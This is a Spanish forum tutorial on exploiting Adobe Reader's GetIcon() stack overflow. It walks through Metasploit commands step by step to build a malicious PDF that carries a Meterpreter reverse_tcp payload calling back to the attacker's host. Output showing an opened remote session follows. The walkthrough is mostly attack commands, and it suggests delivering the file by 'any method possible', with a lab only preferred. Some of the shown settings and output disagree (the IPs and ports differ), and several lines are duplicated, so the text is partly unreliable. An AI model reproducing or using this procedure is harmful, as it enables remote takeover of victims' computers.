Adobe_GetIcon StackOverflow by R.N.A.
Detalles de la vulnerabilidad: Esta vulnerabilidad permite a un atacante remoto ejecutar codigo arbitrariamente en una instalacion vulnerable de AdobeReader o AdobeAcrobat. En esta vulnerabilidad la interaccion del usuario es requerida ya que este debe de abrir un archivo especialmente modificado (El metodo que vamos a tratar) o visitando un sitio web malicioso.
La vulnerabilidad se debe a que no se verifican los argumentos que son pasados a GetIcon(). En caso de que el ataque tenga exito se podra ejecutar codigo con los privilegios del usuario que ejecuto el archivo especialmente modificado.
Explotando la vulnerabilidad
1) Lanzamos metasploit
Código:
rna@MyPersonalLab:~$ msfconsole
2) ya dentro del metasploit seleccionamos el exploit que vamos a utilizar, en nuestro caso:
Código:
msf > use exploit/windows/fileformat/adobe_geticon
3) Verificamos las opciones que tiene el exploit:
Código:
msf exploit(adobe_geticon) > show options
Aqui vemos dos opciones
a)FILENAME: Es el nombre que le daremos al archivo PDF.
b)OUTPUTPATH: Es la ruta en la cual crearemos el PDF.
Tenemos otra opcion que no aparece dentro de las opciones comunes que se muestran con Show Options
WfsDelay: Es el tiempo en segundos que se esperara para recibir la conexión inversa.
4) Modificamos las opciones rellenando con los parametros que queremos.
Código:
msf exploit(adobe_geticon) > set FILENAME adobe_geticon.
FILENAME => adobe_geticon.pdf
msf exploit(adobe_geticon) > set OUTPUTPATH /opt
OUTPUTPATH => /opt
msf exploit(adobe_geticon) > set WfsDelay 3600
WfsDelay => 3600
FILENAME => adobe_geticon.pdf
msf exploit(adobe_geticon) > set OUTPUTPATH /opt
OUTPUTPATH => /opt
msf exploit(adobe_geticon) > set WfsDelay 3600
WfsDelay => 3600
5) Seleccionamos el payload que deseamos que tenga el exploit
Código:
msf exploit(adobe_geticon) >set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
6) Ahora modificamos las opciones de payload, aquí nos encargaremos de poner nuestra ip (LHOST) y el puerto en el que estamos en escucha (LPORT):
Código:
msf exploit(adobe_geticon) > set LHOST 192.168.10.2
LHOST => 192.168.10.2
msf exploit(adobe_geticon) > set LPORT 777
LPORT => 777
LHOST => 192.168.10.2
msf exploit(adobe_geticon) > set LPORT 777
LPORT => 777
7) Ahora creamos el PDF modificado ya que estan todas las opciones requeridas completas
Código:
msf exploit(adobe_geticon) >exploit
[*] Started reverse handler on 192.168.10.102:4444
[*] Creating 'msf.pdf' file...
[*] Generated output file /opt/adobe_geticon.pdf
[*] Started reverse handler on 192.168.10.102:4444
[*] Creating 'msf.pdf' file...
[*] Generated output file /opt/adobe_geticon.pdf
8) Ahora ejecutamos el PDF en un ordenador vulnerable por cualquier metodo posible (Ingenieria Inversa, Un Laboratorio Virtual[Preferiblemente], etc).
Código:
[*] Meterpreter session 1 opened (192.168.10.103:1968 -> 192.168.10.102:4444)
Y listo ya tenemos acceso al ordenador afectado










Autor




En línea

sabia que me falto algo !!!






